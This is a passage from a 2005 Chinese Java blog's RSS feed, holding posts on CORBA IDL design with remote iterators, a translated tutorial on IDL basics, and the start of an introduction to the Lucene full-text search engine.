<TD class=a14>module productcatalog</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>struct productItem</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>string productName;</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>……</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>};</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>typedefsequence<PRODUCTITEM> ProductItemList;</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>interface ProductIterator : iterator::BaseListIterator</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>ProductItem next() raises (SomeRemoteException); </TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>ProductItemList nextBlock(in short size) raises (SomeRemoteException);</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>ProductItem previous() raises (SomeRemoteException);</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>ProductItemList previousBlock(in short size) raises (SomeRemoteException);</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>};</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>interface ProductCatalog</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>ProductIterator getProductItems(in string group,in string category,in string status)</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>raises (SomeRemoteException); </TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>};</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>};</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>值得注意的是，在上面的代码中，ProductCatalog接口中的getProductItems方法返回的是ProductIterator而不是先前的ProductItemList;</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>在服务器端，实现ProductIterator的类在管理数据传输的过程中起到了集成的作用。而且从本质上来讲，ProductIterator接口是个暂时的（transient）corba对象，在调用getProductItems()的过程中生成。之所以是暂时的，是因为它的内容有查询的结果决定。如果查询后返回的结果是集合型的或者通过如ArrayList的集合类返回，则ProductIterator的实现就比较简单，因为ArrayList类本身就已经提供了了ListIterator和Iterator。另外一个就是在服务器端程序实现ProductCatalog上。GetProductItems方法返回ProductIterator对象的句柄，而不是 方案一中的Product IDs和方案二中的Products.由于Product和Product ID都是Corba的数据类型，因此服务器端的程序需要进行数据类型的映射和转换。而在方案三中，由于使用了ProductIterator,数据类型的映射就由服务器端的对象实现来决定了。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>在客户端，代理程序发起初始的请求，同时缓存了远端的迭代（Iterator）类的句柄。代理程序也可以在返回之前立刻得到下面的N个数据。图五列出了客户端和服务器端组件的交互作用的过程。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14><IMG src="http://www.huihoo.com/corba/i/01_8_20_6e.jpg" border=0> </TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>当客户端初始化一个请求时，客户端的代理程序首先检查缓冲中是否已经存在该请求的结果。如果缓冲中没有相关的信息，代理就会向服务器发出查询请求。查询的结果是个远端的Iterator（一个corba对象的句柄），并保存在客户端的代理中。接下来的客户端请求将会检索一个或一堆的产品信息。当然，你也可以把产品信息保存在缓冲区。当初始化一个新的查询时，你也可以先清除掉缓冲中的信息。下面的代码重新定义了实现了ProductServiceProxy接口。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>Public class ProductServiceProxy</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>private int nItems=15;</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>private ProductIterator remoteIterator;</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>private static ProductServiceProxy instance;</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>private ProductServiceProxy() {}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>public static ProductServiceClient getInstance()</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>if(instance==null)</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>instance=new ProductServiceProxy();</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>return instance;</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>public ArrayList getProducts(String group,String category,String </TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>status) throws SomeException</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>ArrayList ProductList = new ArrayList();</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>Try</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>ProductService productService= locateRemoteProductService();</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>If(productService==null)</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>//return empty list or throw user defined exception</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>try</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>remoteIterator=productService.getProducts(…..);</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>catch(SystemException se){//handle exception}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>catch(Exception e){//handle exception}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>return this.getMoreProducts(nItems);</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>public ArrayList getMoreProducts(int nItems) throws SomeException</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>{</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>//retrive the next 10-15 items using cache iterator</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>…</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>}</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>由于远端的迭代类（Iterator）是个暂时的CORBA对象，它要依赖于服务器端程序生命周期。因此，系统的设计一定要保证在客户端程序完成之前，该对象一定要存活。</TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14><B><FONT size=4>三．结论。</FONT></B></TD></TR></TBODY></TABLE>
<TABLE width="100%">
<TBODY>
<TR>
<TD class=a14>企业级应用程序的设计比较复杂。前期的设计对以后系统的性能会有很大的影响。而在CORBA环境中，IDL的设计就显得尤为重要。好的IDL设计，充分利用JDK的API，如计时器，垃圾回收机制，集合框架能大大的提高系统的性能。从而能构造一个强壮的，高度可用的分布式系统。</TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/kapok/aggbug/9595.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-08 18:24 <a href="http://www.blogjava.net/kapok/archive/2005/08/08/9595.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>IDL Basis</title><link>http://www.blogjava.net/kapok/archive/2005/08/08/9591.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Mon, 08 Aug 2005 10:05:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/08/9591.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/9591.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/08/9591.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/9591.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/9591.html</trackback:ping><description><![CDATA[<H1 class=SECT1><A href="http://www.huihoo.org/orbit/gnome_corba/idl-basics.html">http://www.huihoo.org/orbit/gnome_corba/idl-basics.html</A></H1>
<H1 class=SECT1><A name=IDL-BASICS>IDL 基础</A></H1>
<DIV class=SECT2>
<H2 class=SECT2><A name=IDL-BASICS-MISC>IDL 模块和接口</A></H2>
<P><FONT size=3>在任何项目中(亦或名字空间中)都可能存在大量的 CORBA 对象，如果所有这些对象需要有唯一的名字那么一定会有名字空间冲突。所以 IDL 允许定义模块(module)，模块指定一个独立的名字空间，类似于 C++ 的名字空间的功能性。现在对于任何接口都可以指定模块，就象下面例子展示的那样：</FONT> </P>
<TABLE width="100%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=PROGRAMLISTING>module FruitsBasket {
        interface Apple {};
        interface Orange {};
};
      </PRE></TD></TR></TBODY></TABLE>
<P><FONT size=3>在这里，我们在 FruitsBasket 模块中定义了两个对象： Apple 和 Orange。如果我们要从其他模块中引用一个对象，我们必须给出完全的对象引用，例如，从 VegetablesBasket 模块中引用&nbsp; Apple 要这样做：FruitsBasket::Apple。</FONT> </P>
<P><FONT size=3>也可能重新打开同一个模块来增加接口定义：下面的例子严格的等价于上一个。</FONT> </P>
<TABLE width="100%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=PROGRAMLISTING>module FruitsBasket {
        interface Apple {};
};

module FruitsBasket {
        interface Orange {};
};
      </PRE></TD></TR></TBODY></TABLE>
<P><FONT size=3>IDL象 C++ 一样也有预编译宏指令(directive): 支持 #include 和 #pragma (这些宏指令由 idl-compiler 展开)。 #include 同在 C/C++ 中有类似的语义。允许你出于清晰的目的而把在同一个模块中的不同的接口分隔在不同的文件中。</FONT> </P>
<TABLE width="100%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=PROGRAMLISTING>/* 这是一个 C 式样的注释 */
// 这是一个 C++ 式样的注释 : 两者都有效 
// 这些代码在 apple.idl 文件中

#include "orange.idl"
module FruitsBasket
        interface Apple {};
};
      </PRE></TD></TR></TBODY></TABLE>
<TABLE width="100%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=PROGRAMLISTING>// 这些代码在 orange.idl 文件中
module FruitsBasket
        interface Orange {};
};
      </PRE></TD></TR></TBODY></TABLE></DIV>
<DIV class=SECT2>
<H2 class=SECT2><A name=IDL-BASICS-TYPES>IDL 类型</A></H2>
<P><FONT size=3>因为 IDL 的主要目的是实现在不同的语言、机器和操作系统之间的可移植性，他是强类型的。这里是最基本(标准)的 CORBA 类型:</FONT> </P>
<DIV class=TABLE>
<P><B><FONT size=3>表 1-1. 基本 CORBA 类型</FONT></B></P>
<TABLE class=CALSTABLE border=1>
<THEAD>
<TR>
<TH vAlign=top align=left width="33%"><FONT size=3>类型</FONT></TH>
<TH vAlign=top align=left width="67%"><FONT size=3>意义</FONT></TH></TR></THEAD>
<TBODY>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>short</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>16 bit signed integer</FONT></TD></TR>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>unsigned short</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>16 bit unsigned integer</FONT></TD></TR>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>long</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>32 bit signed integer</FONT></TD></TR>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>unsigned long</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>32 bit unsigned integer</FONT></TD></TR>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>long long</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>64 bit signed integer</FONT></TD></TR>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>unsigned long long</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>64 bit unsigned integer</FONT></TD></TR>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>float</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>32 bit IEEE float</FONT></TD></TR>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>double</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>64 bit IEEE float</FONT></TD></TR>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>long double</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>128 bit float</FONT></TD></TR>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>boolean</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>boolean value: TRUE or FALSE</FONT></TD></TR>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>octet</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>8 bit byte</FONT></TD></TR>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>char</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>8 bit character (ISO latin-1)</FONT></TD></TR>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>wchar</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>国际字符格式. FixMe: 谁知道这个格式?</FONT></TD></TR>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>string</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>基于 char 的字符串</FONT></TD></TR>
<TR>
<TD vAlign=top align=left width="33%"><FONT size=3>wstring</FONT></TD>
<TD vAlign=top align=left width="67%"><FONT size=3>基于 wchar 的字符串</FONT></TD></TR></TBODY></TABLE></DIV>
<P><FONT size=3>它们的使用是非常率直的: 这有一些使用了字符串和浮点类型的 IDL 接口声明:</FONT> </P>
<TABLE width="100%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=PROGRAMLISTING>module FruitsBasket {
        interface Apple {
                attribute string color;
        };
        interface Orange {
		        attribute float size;
        };
};</PRE></TD></TR></TBODY></TABLE>
<P><FONT size=3>每个对象得到一个浮点类型或字符串类型的属性。</FONT> </P>
<P><FONT size=3>有赖于const 修饰(就象在 C++ 中) IDL 允许你定义常量。这里有一些样例 IDL 代码:</FONT> </P>
<TABLE width="100%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=PROGRAMLISTING>module FruitsBasket {
        interface Apple {
                attribute string color;
                const float weight = 2.3;
                const string type = "sample type";
        };
        interface Orange {
                attribute float size;
        };
};
        </PRE></TD></TR></TBODY></TABLE>
<P><FONT size=3>使用 typedef 关键字就可以定义你自己的类型(还是很象在 C 和 C++ 中)。又是一个样例代码，这里定义了一个有自定义的类型属性的 Apple 对象，自定义的类型是一个字符串。</FONT> </P>
<TABLE width="100%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=PROGRAMLISTING>module FruitsBasket {
        typedef string fruit_type;

        interface Apple {
               attribute fruit_type type; 
        };

        interface Orange {
        };
};
        </PRE></TD></TR></TBODY></TABLE>
<P><FONT size=3>我们也有标准的 C/C++ 结构，枚举和阵列。结构，枚举和定长(fixed size)阵列象 typedef 一样简直就是 C 代码：</FONT> </P>
<TABLE width="100%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=PROGRAMLISTING>module calendar {
        enum a_month {
                january, february, march, april, may, june, 
                july, august, september, october, december
        };

        enum a_day {
                monday, tuesday, wednesday, thursday, 
                friday, saturday, sunday
        };

        typedef long a_year;
        struct a_date {
                a_day    the_day;
                a_month  the_month;
                a_year   the_year;
        };

        interface calendar {
                attribute a_date the_date;

                // 一维阵列
                typedef a_date a_date_array[20];
                attribute a_date_array the_date_array;

                // 二维阵列
                typedef a_date_array a_date_array_multi[20]; 
                attribute a_date_array_multi the_date_array_multi;
        };
};
        </PRE></TD></TR></TBODY></TABLE>
<P><FONT size=3>变长(Variable-size)阵列在 CORBA 中叫序列(sequence):</FONT> </P>
<TABLE width="100%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=PROGRAMLISTING>module calendar {

        interface calendar {
                /* 定义了一个一维 long 阵列(数组)
                 * 最大长度是 20. 
                 */
                typedef sequence &lt;long,20&gt; array_1;
                // 一个无边界的(unbounded)的一维字符串阵列
                typedef sequence &lt;string&gt; array_2;

                // 更复杂的: 一个序列的序列
                // 用于模拟多维变长阵列
                typedef sequence &lt;sequence &lt;long,20&gt; &gt; array_3;
        };
};
        </PRE></TD></TR></TBODY></TABLE></DIV>
<DIV class=SECT2>
<H2 class=SECT2><A name=IDL-BASICS-OBJECTS>IDL 方法</A></H2>
<P><FONT size=3>所有这些标准的类型允许编程者定义对象的属性和方法。对象方法(函数)这样声明：</FONT> </P>
<TABLE width="100%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=PROGRAMLISTING>module FruitsBasket {
        interface Apple {

                // eat_me 方法的声明
                // 有一个 boolean 变量作为参数
                void eat_me (in boolean eat_yes_or_not );

                // 返回 Apple 是否被吃了
                boolean eaten ();

                // 返回 Apple 是否被吃了
                // 和吃它的人的姓和名     
                boolean who_ate ( out string who_surname, out string who_name );
        };
};
      </PRE></TD></TR></TBODY></TABLE>
<P><FONT size=3>除了 in 修饰，这些声明非常象 C++ 代码: 参数由 in, out, inout 三种类型之一来修饰。它们的语义如下：in 参数是客户向对象发送的数据，out 参数是对象向客户发送的数据，inout 参数先从客户发送到对象，再被返回给客户。</FONT> </P>
<P><FONT size=3>所有这些方法声明都是同步操作，就是说，使用这些方法意味着你的程序将等到对象应答之后才继续执行。可以定义异步的方法，这样的话调用方法的程序可以继续执行而不是在对象返回应答之前一直阻塞，异步方法的声明用关键字 oneway(单向)。</FONT> </P>
<TABLE width="100%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=PROGRAMLISTING>module FruitsBasket {
        interface Apple {
                // eat_me 方法的声明
                // 有一个 boolean 变量作为参数
                void eat_me (in boolean eat_yes_or_not );

                // 返回 Apple 是否被吃了
                // 异步方法
                oneway boolean eaten ();

                // 返回 Apple 是否被吃了
                // 和吃它的人的姓和名     
                boolean who_ate ( out string who_surname, out string who_name );
        };
};
        </PRE></TD></TR></TBODY></TABLE>
<P><FONT size=3>也可以定义例外(exception)(类似于 C++ 的例外类)。</FONT> </P>
<TABLE width="100%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=PROGRAMLISTING>module FruitBasket {

        exception no_more_fruits {
                string reason;
        };

        interface Apple {
                // 我们所希望的各种的方法
        };
};
        </PRE></TD></TR></TBODY></TABLE>
<P><FONT size=3>最终，可以象下面这样声明有能力引发(throwing)例外的方法。</FONT> </P>
<TABLE width="100%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=PROGRAMLISTING>module FruitsBasket {

        exception no_more_fruits {
                string reason;
        };

        interface Apple {
                void eat_me (in boolean eat_yes_or_not ) raises ( no_more_fruits );
                // 我们所希望的诸如此类的方法
        };
};
        </PRE></TD></TR></TBODY></TABLE>
<P><FONT size=3>象 C++ 的类(或 Java 的接口)，接口可以从其他的接口继承，并且支持多继承(multiple inheritance)。语法类似于 C++ 的语法。一个重要的不同是 IDL 不支持重载或不同的方法可以有相同的名字和不同的参数说明(signature)。</FONT> </P>
<TABLE width="100%" bgColor=#e0e0e0 border=0>
<TBODY>
<TR>
<TD><PRE class=PROGRAMLISTING>module FruitsBasket {
	         
        exception no_more_fruits {
                string reason;
        };

        interface generic_fruit {
                void eat_me (in boolean eat_yes_or_not ) raises (no_more_fruits);
                oneway boolean eaten ();
        };

        interface generic_fruit_one {
                boolean who_ate ( out string who_surname, out string who_name );
        };

        interface Apple : generic_fruit, generic_fruit_one {
                // 这里是特定于 Apple 的方法
        };
};
      </PRE></TD></TR></TBODY></TABLE>
<P><FONT size=3>我们展示了各种 IDL 类型，一些生成新的接口和属性、方法、例外的声明的方式。感兴趣的读者可以从 CORBA 标准中读到权威的 IDL 定义并且看到一些补充的类型象 any、TypeCode、union。但这些类型对于本文不是很重要的。</FONT> </P></DIV><img src ="http://www.blogjava.net/kapok/aggbug/9591.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-08 18:05 <a href="http://www.blogjava.net/kapok/archive/2005/08/08/9591.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>基于Java的全文索引引擎Lucene简介</title><link>http://www.blogjava.net/kapok/archive/2005/08/05/9387.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Fri, 05 Aug 2005 05:19:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/05/9387.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/9387.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/05/9387.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/9387.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/9387.html</trackback:ping><description><![CDATA[<P>关键词：Lucene java full-text search engine&nbsp;Chinese&nbsp;word segment</P>
<P><SPAN style="FONT-WEIGHT: bold"></SPAN>内容摘要：<A href="http://www.chedong.com/tech/lucene.html#intro">http://www.chedong.com/tech/lucene.html#intro</A></P>
<P>Lucene是一个基于Java的全文索引工具包。</P>
<OL>
<LI><A href="http://www.chedong.com/tech/lucene.html#intro">基于Java的全文索引引擎Lucene简介：关于作者和Lucene的历史</A> 
<LI><A href="http://www.chedong.com/tech/lucene.html#compare">全文检索的实现：Luene全文索引和数据库索引的比较</A> 
<LI><A href="http://www.chedong.com/tech/lucene.html#segment">中文切分词机制简介：基于词库和自动切分词算法的比较</A> 
<LI><A href="http://www.chedong.com/tech/lucene.html#demo">具体的安装和使用简介：系统结构介绍和演示</A> 
<LI><A href="http://www.chedong.com/tech/lucene.html#hacking">Hacking Lucene：简化的查询分析器，删除的实现，定制的排序，应用接口的扩展</A> 
<LI><A href="http://www.chedong.com/tech/lucene.html#learn">从Lucene我们还可以学到什么</A> </LI></OL>
<P><A name=intro><B>基于Java的全文索引/检索引擎——Lucene</B></A></P>
<P>Lucene不是一个完整的全文索引应用，而是是一个用Java写的全文索引引擎工具包，它可以方便的嵌入到各种应用中实现针对应用的全文索引/检索功能。</P>
<P>Lucene的作者：Lucene的贡献者<A href="http://www.nutch.org/blog/cutting.html">Doug Cutting</A>是一位资深全文索引/检索专家，曾经是V-Twin搜索引擎(Apple的Copland操作系统的成就之一)的主要开发者，后在Excite担任高级系统架构设计师，目前从事于一些INTERNET底层架构的研究。他贡献出的Lucene的目标是为各种中小型应用程序加入全文检索功能。</P>
<P>Lucene的发展历程：早先发布在作者自己的<A href="http://www.lucene.com/">www.lucene.com</A>，后来发布在<A href="http://sourceforge.net/projects/lucene/">SourceForge</A>，2001年年底成为APACHE基金会jakarta的一个子项目：<A href="http://jakarta.apache.org/lucene/">http://jakarta.apache.org/lucene/</A></P>
<P>已经有很多Java项目都使用了Lucene作为其后台的全文索引引擎，比较著名的有：</P>
<UL>
<LI><A href="http://www.jivesoftware.com/">J</A><A href="http://www.jivesoftware.com/">ive</A>：WEB论坛系统； 
<LI><A href="http://eyebrowse.tigris.org/">Eyebrows</A>：邮件列表HTML归档/浏览/查询系统，本文的主要参考文档“<A href="http://www.javaworld.com/javaworld/jw-09-2000/jw-0915-lucene_p.html">TheLucene search engine: Powerful, flexible, and free</A>”作者就是EyeBrows系统的主要开发者之一，而EyeBrows已经成为目前APACHE项目的主要邮件列表归档系统。 
<LI><A href="http://xml.apache.org/cocoon/index.html">Cocoon</A>:基于XML的web发布框架，全文检索部分使用了Lucene 
<LI>
<P align=left><A href="http://www.eclipse.org/">Eclipse</A>:基于Java的开放开发平台，帮助部分的全文索引使用了Lucene</P></LI></UL>
<P>对于中文用户来说，最关心的问题是其是否支持中文的全文检索。但通过后面对于Lucene的结构的介绍，你会了解到由于Lucene良好架构设计，对中文的支持只需对其语言词法分析接口进行扩展就能实现对中文检索的支持。</P>
<P><B><A name=compare>全文检索的实现机制</A></B></P>
<P>Lucene的API接口设计的比较通用，输入输出结构都很像数据库的表==&gt;记录==&gt;字段，所以很多传统的应用的文件、数据库等都可以比较方便的映射到Lucene的存储结构/接口中。总体上看：可以先把<B>Lucene当成一个支持全文索引的数据库系统</B>。</P>
<P>比较一下Lucene和数据库：</P>
<TABLE width="100%" border=1>
<TBODY>
<TR>
<TD align=middle width="50%">Lucene</TD>
<TD align=middle width="50%">数据库</TD></TR>
<TR>
<TD width="50%"><PRE>索引数据源：doc(field1,field2...) doc(field1,field2...)<BR>                  \  indexer /<BR>                 _____________<BR>                | Lucene Index|<BR>                --------------<BR>                 / searcher \<BR> 结果输出：Hits(doc(field1,field2) doc(field1...))</PRE></TD>
<TD width="50%"><PRE> 索引数据源：record(field1,field2...) record(field1..)<BR>              \  SQL: insert/<BR>               _____________<BR>              | DB  Index   |<BR>               -------------<BR>              / SQL: select \<BR>结果输出：results(record(field1,field2..) record(field1...))</PRE></TD></TR>
<TR>
<TD width="50%">Document：一个需要进行索引的“单元”<BR>一个Document由多个字段组成</TD>
<TD width="50%">Record：记录，包含多个字段</TD></TR>
<TR>
<TD width="50%">Field：字段</TD>
<TD width="50%">Field：字段</TD></TR>
<TR>
<TD width="50%">Hits：查询结果集，由匹配的Document组成</TD>
<TD width="50%">RecordSet：查询结果集，由多个Record组成</TD></TR></TBODY></TABLE>
<P><B>全文检索 ≠ like "%keyword%"</B></P>
<P>通常比较厚的书籍后面常常附关键词索引表（比如：北京：12, 34页，上海：3,77页……），它能够帮助读者比较快地找到相关内容的页码。而数据库索引能够大大提高查询的速度原理也是一样，想像一下通过书后面的索引查找的速度要比一页一页地翻内容高多少倍……而索引之所以效率高，另外一个原因是它是排好序的。<B>对于检索系统来说核心是一个排序问题</B>。</P>
<P align=left>由于数据库索引不是为全文索引设计的，因此，<B>使用like "%keyword%"时，数据库索引是不起作用的</B>，在使用like查询时，搜索过程又变成类似于一页页翻书的遍历过程了，所以对于含有模糊查询的数据库服务来说，LIKE对性能的危害是极大的。如果是需要对多个关键词进行模糊匹配：like"%keyword1%" and like "%keyword2%" ...其效率也就可想而知了。</P>
<P>所以建立一个高效检索系统的关键是建立一个类似于科技索引一样的反向索引机制，将数据源（比如多篇文章）排序顺序存储的同时，有另外一个排好序的关键词列表，用于存储关键词==&gt;文章映射关系，利用这样的映射关系索引：[关键词==&gt;出现关键词的文章编号，出现次数（甚至包括位置：起始偏移量，结束偏移量），出现频率]，检索过程就是把<B>模糊查询变成多个可以利用索引的精确查询的逻辑组合的过程</B>。从而大大提高了多关键词查询的效率，所以，全文检索问题归结到最后是一个排序问题。</P>
<P>由此可以看出模糊查询相对数据库的精确查询是一个非常不确定的问题，这也是大部分数据库对全文检索支持有限的原因。Lucene最核心的特征是通过特殊的索引结构实现了传统数据库不擅长的全文索引机制，并提供了扩展接口，以方便针对不同应用的定制。</P>
<P>可以通过一下表格对比一下数据库的模糊查询：</P>
<TABLE height=283 width="100%" border=1>
<TBODY>
<TR>
<TD align=middle width="9%" height=16>　</TD>
<TD align=middle width="47%" height=16>Lucene全文索引引擎</TD>
